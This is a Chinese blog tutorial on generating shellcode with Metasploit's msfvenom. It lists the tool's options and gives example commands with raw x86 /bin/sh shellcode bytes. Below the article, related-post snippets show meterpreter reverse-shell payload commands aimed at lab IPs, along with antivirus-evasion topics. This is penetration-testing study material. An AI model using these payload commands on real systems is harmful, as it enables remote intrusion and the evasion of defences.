metasploit-shellcode生成

0x00 安装metasploit

$ curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
$ chmod 755 msfinstall
$ ./msfinstall

0x01 参数介绍

Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
        --payload-options            List the payload's standard options
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
    -f, --format        <format>     Output format (use --help-formats for a list)
        --help-formats               List available formats
    -e, --encoder       <encoder>    The encoder to use
    -a, --arch          <arch>       The architecture to use
        --platform      <platform>   The platform of the payload
        --help-platforms             List available platforms
    -s, --space         <length>     The maximum size of the resulting payload
        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
    -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'
    -i, --iterations    <count>      The number of times to encode the payload
    -c, --add-code      <path>       Specify an additional win32 shellcode file to include
    -x, --template      <path>       Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --out           <path>       Save the payload
    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
        --smallest                   Generate the smallest possible payload
    -h, --help                       Show this message

1. -p 指定payload的功能

  --payload:确定payload类型

  --payload-options:查看对应payload类型子选项

例:
msfvenom -p linux/x86/exec CMD=/bin/sh 执行shell

2. -a 指定处理器架构和操作平台

--arch:指定处理器架构
--platform:指定平台
例:
msfvenom -a x86 --platform linux

3. -f 指定输出格式

例:
msfvenom -a x86 --platform linux -f python payload以python语言格式输出

4. -b 指定规避字符串(以字符的16进制表示)

例:
msfvenom -a x86 --platform linux -b "\x00\x0a" 生成的payload中不允许出现'\x00'和'\x0a'

5. -e 指定编码器

例:
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -e x86/alpha_mixed

6. -n 在payload前填充Nop Sled

--nopsled:指定rop类型
 <length>:指定rop长度
例:
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -n x86/single_byte 120

7. -l 列出msf中payload类型,编码器类型,NOP类型

msfvenom -l

Framework Payloads (486 total)
==============================

Name Description
---- -----------
aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell
aix/ppc/shell_find_port Spawn a shell on an established connection
aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs)
aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell
android/meterpreter/reverse_http Run a meterpreter server in Android. Tunnel communication over HTTP
android/meterpreter/reverse_https Run a meterpreter server in Android. Tunnel communication over HTTPS
android/meterpreter/reverse_tcp Run a meterpreter server in Android. Connect back stager

......

Framework Encoders
==================

Name Rank Description
---- ---- -----------
cmd/echo good Echo Command Encoder
cmd/generic_sh manual Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/perl normal Perl Command Encoder
cmd/powershell_base64 excellent Powershell Base64 Command Encoder
cmd/printf_php_mq manual printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar manual The EICAR Encoder
generic/none normal The "none" Encoder
mipsbe/byte_xori normal Byte XORi Encoder

......

Framework NOPs (9 total)
========================

Name Description
---- -----------
armle/simple Simple NOP generator
mipsbe/better Better NOP generator
php/generic Generates harmless padding for PHP scripts
ppc/simple Simple NOP generator
sparc/random SPARC NOP generator
tty/generic Generates harmless padding for TTY input
x64/simple An x64 single/multi byte NOP instruction generator.
x86/opty2 Opty2 multi-byte NOP generator
x86/single_byte Single-byte NOP generator

8. -v 指定payload名字

payload默认叫buf
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -f python

  No encoder or badchars specified, outputting raw payload
  Payload size: 38 bytes
  Final size of python file: 192 bytes
  buf = ""
  buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
  buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x03"
  buf += "\x00\x00\x00\x73\x68\x00\x57\x53\x89\xe1\xcd\x80"

例:
msfvenom -a x86 --platform linux -p linux/x86/exec CMD="sh" -v payload -f python

  No encoder or badchars specified, outputting raw payload
  Payload size: 38 bytes
  Final size of python file: 222 bytes
  payload = ""
  payload += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68"
  payload += "\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52"
  payload += "\xe8\x03\x00\x00\x00\x73\x68\x00\x57\x53\x89\xe1"
  payload += "\xcd\x80"

9. 其他参数我没有深究

0x02 参考

Shellcode生成器——msfvenom

生成自己的Alphanumeric/Printable shellcode

工具总归是工具,自己还是要会写,fighting!!                                                                      。

转载于:https://www.cnblogs.com/elvirangel/p/6963845.html

【网络安全】Metasploit生成Shellcode的导入函数解析以及执行流程分析(2) 密码破解的利器——彩虹表(rainbow table) 确定 shellcode 依赖于哪些导入将使研究人员进一步了解其其余逻辑。不用动态分析shellcode,并且考虑到研究人员已经弄清楚了上面的哈希算法,研究人员可以自己构建一个彩虹表。 彩虹表是一个预先计算好的表,用于缓存加密哈希函数的输出,通常用于破解密码哈希。 以下 Python 代码段计算位于最常见系统位置的 DLL 导出的“Metasploit”哈希值。 例如,下面的PowerShell命令生成一个彩虹表,然后搜索下图中首先观察到的72677 阅读详情

相关推荐

Metasploit进阶:从set payload到generate命令的Shellcode生成与免杀实战

在渗透测试与漏洞利用开发中,Shellcode作为一段可执行的机器码,是实现远程控制、权限提升等目标的核心载荷。其工作原理是将特定功能的汇编指令序列注入目标进程内存并执行。Shellcode的技术价值在于其高度定制化和隐蔽性,能够绕过传统边界防御,直接与攻击者建立通信或执行敏感操作。应用场景广泛,包括漏洞利用程序(Exploit)开发、恶意文档制作、无文件攻击以及红队评估中的载荷投递。本文聚焦Metasploit框架中强大的`generate`命令,它超越了基础的`set payload`,提供了对Shel

weixin_29314405的博客 260

一款开源的ShellCode生成引擎

1.本工具只支持x86 coff格式的文件 2.全局变量记得初始化,测试的时候发现有事全局变量没有初始化会获取不到 3.关闭MSVC的全局优化,开启全局优化时OBJ中的信息无法获取 4.不要在代码中使用c++一些特性,类似异常等,测试类时发现基本的类是可以满足的不要使用c++的一些库,切记

使用MSF生成shellcode打造免杀payload

环境: 1.Kali攻击机IP:192.168.114.140 2.使用win7生成exe 步骤: 使用msfvenom生成shellcode : msfvenom -pwindows/meterpreter/reverse_http lhost=192.168.114.140 lport=5555 -f c win7中使用Visual studio创建Win32控制台

MickeyMouse1928的博客 1万+

使用Metasploit生成Shellcode进行网络安全攻击

Metasploit是一款功能强大的渗透测试工具,通过其生成Shellcode的功能,可以定制化地创建用于攻击目标系统的二进制代码。Metasploit是一款功能强大的渗透测试工具,它提供了丰富的攻击载荷和漏洞利用模块,其中包括生成Shellcode的功能。Shellcode是一段二进制代码,通常用于利用系统或应用程序的漏洞,并在目标系统上执行攻击者指定的操作。Metasploit提供了生成Shellcode的模块,可以根据目标系统和所需功能生成定制化的Shellcode,以满足渗透测试或攻击需求。

IiwEngine的博客 371

metasploit产生shellcode

root@bt:~# msfpayload windows/shell/bind_tcp LPORT=443 C /* * windows/shell/bind_tcp - 298 bytes (stage 1) * http://www.metasploit.com * VERBOSE=false, LPORT=443, RHOST=, EXITFUNC=process, * Init

天元喜羊羊的博客 5821

shellcode

在漏洞利用中,shellcode是不可或缺的部分,所以在网上有许多公开分享的 shellcode ,在不同平台上并不通用,需要选择适合的shellcode。这里推荐两个常 见公开的安全平台:一个为公开的漏洞库exploit-db(见公众号链接10-1),一个 为公开的Shell-strom库(见公众号链接10-2),如图10-1和图10-2所示。6)成功弹出计算器程序。5)运行后可以成功弹出计算器,如图10-3所示,但这还没有结束,如果目标 机器中没有Python环境,shellcode便无法执行。

m0_62207482的博客 1367

metasploit生成shellcode

Metasploit中,可以从msfconsole中生成payload。当你使用某个payload的时候,Metasploit可以添加generate,pry和reload命令。本节主要讲述generate命令的使用。 msf > use payload/windows/shell_bind_tcp msf payload(shell_bind_tcp) > help ...snip... Command Description ------- ---

JMasker的博客 2252

【网络安全】Metasploit 生成Shellcode 的导入函数解析以及执行流程分析

由于shellcode是代码的一个基本版本(它没有预期的结构),操作系统加载程序无法帮助它解析这些导入的函数,更严重的是,操作系统加载程序将无法“执行”shellcode文件。这一观察结果与研究人员将在下一节中观察到的众所周知的常量一起,支持了研究人员的理论,即存储在 ebp 中的地址持有一个指向执行动态导入解析的函数的指针。主循环按照内存中的顺序遍历模块(下图中的蓝色),而对于每个模块,第二个循环遍历导出函数,在所需的导入和可用的导出之间寻找匹配的哈希(下图中的红色)。

qq_44005305的博客 324

Metasploit生成Stage shellcode

1.进入kaili打开msfconsole 2.然后use multi/handler 3.然后 set PAYLOAD windows/dllinject/bind_tcp 4.然后set 参数 set DLL /download/xx.dll                                      set EXITFUN seh                

thesum的专栏 781

MSF-Shellcode生成和使用

1使用环境 Kali 2.0 msfvenom 2Msfvenom参数说明 msfvenom –h 查看帮助 说明: Options: -p, --payload <payload>指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用&...

weixin_34301307的博客 4873

Python免杀入门学习

这里主要针对国内主流三大杀软进行免杀测试,python语法简单,开发效率高,适合入门学习,而且免杀效果也还不错。当然免杀是具有时效性的,文章的方法主要记录一下免杀思路。python环境:python2.7.18(x64)、python3.11.1(x64)windows环境:windows10、windows11杀毒软件:360杀毒(全引擎) + 火绒 + Windows Defender。

Fighter安全 3000

Kali下Metasploitshellcode在windows中的使用

网络拓扑:kaili系统版本:注:前面的版本在生成shellcode的时候用的是msfpayload命令 1.kaili生成shellcode:root@debian:~# msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.152.131 lport=1211 -f exe &gt; /root/shell.exe()2.侦...

weixin_33744141的博客 799

Metasploit -- 木马生成原理和方法

以前的人,要疯要癫要崩溃,都特别戏剧化,比如披头散发,涕泗横流,瞠目结舌等等。现在的人不会,他就静静地坐在那里,面无表情,不声不响,看着很正常,但禁不起触碰。你上前轻轻碰一下,问一句,他就垮了,就崩溃了。。。 ---- 网易云热评 一、生成方式:利用msf模块中的msfvenom模块 二、原理:msfvenom是msfpayload、msfencode的结合体,利用msfvenom生成木马...

Web安全工具库 2563

使用msfpayload生成shellcode

在看0day安全:软件漏洞分析技术的时候需要用到shellcode,照着上面的写个

5654

metasploit生成payload

metasploit中,我们任意选定一个payload时,metasploit都会加上generate,pry,reload等命令~ 我们来看一下 在help输出的最后我们可以看到之前提到的命令 我们看下generate命令,首先-h查看帮助 我们当然也可以不用加上任何选项来生成shellcode 这么简单生成shellcode基本上是不能用的。为了确保我们的shellcode有效,我...

Yale的博客 2537

metasploit之字母数字的shellcode

Alphanumeric Shellcode 在攻击过程中,由于被攻击的应用程序的字符串过滤功能,我们有时候可能会需要完全由字母数字组成的shellcode。 通过msfvenom可以很容易产生上述要求的shellcode。 比如我们要产生一个混合了大小写编码的字母数字的shellcode,可以如下图操作: 我们启动python的交互界面 然后把之前输出的buf的内容全部复制过来 之后将其打...

Yale的博客 1553

Kali的学习笔记篇(八)使用msf生成shellcode制作免杀payload

环境:     kali-linux-2018.2-amd.iso       Visual Studio 2017     msfvenom    更新时间:2018年8月13日07:06:43 直接注入的生成方式(一): //生成c格式的后门,-p指定模块,-e 指定编码,-i指定编码次数,-f 输出格式,-b 去除指定代码 root@kali:~# msfvenom -p wi...

Kind&红衣的博客 6904
上一篇: 机器学习:Python实现聚类算法(三)之总结
下一篇: 微软自拍应用iOS版公布
weixin_30908707
博客等级 码龄11年 129粉丝 0原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值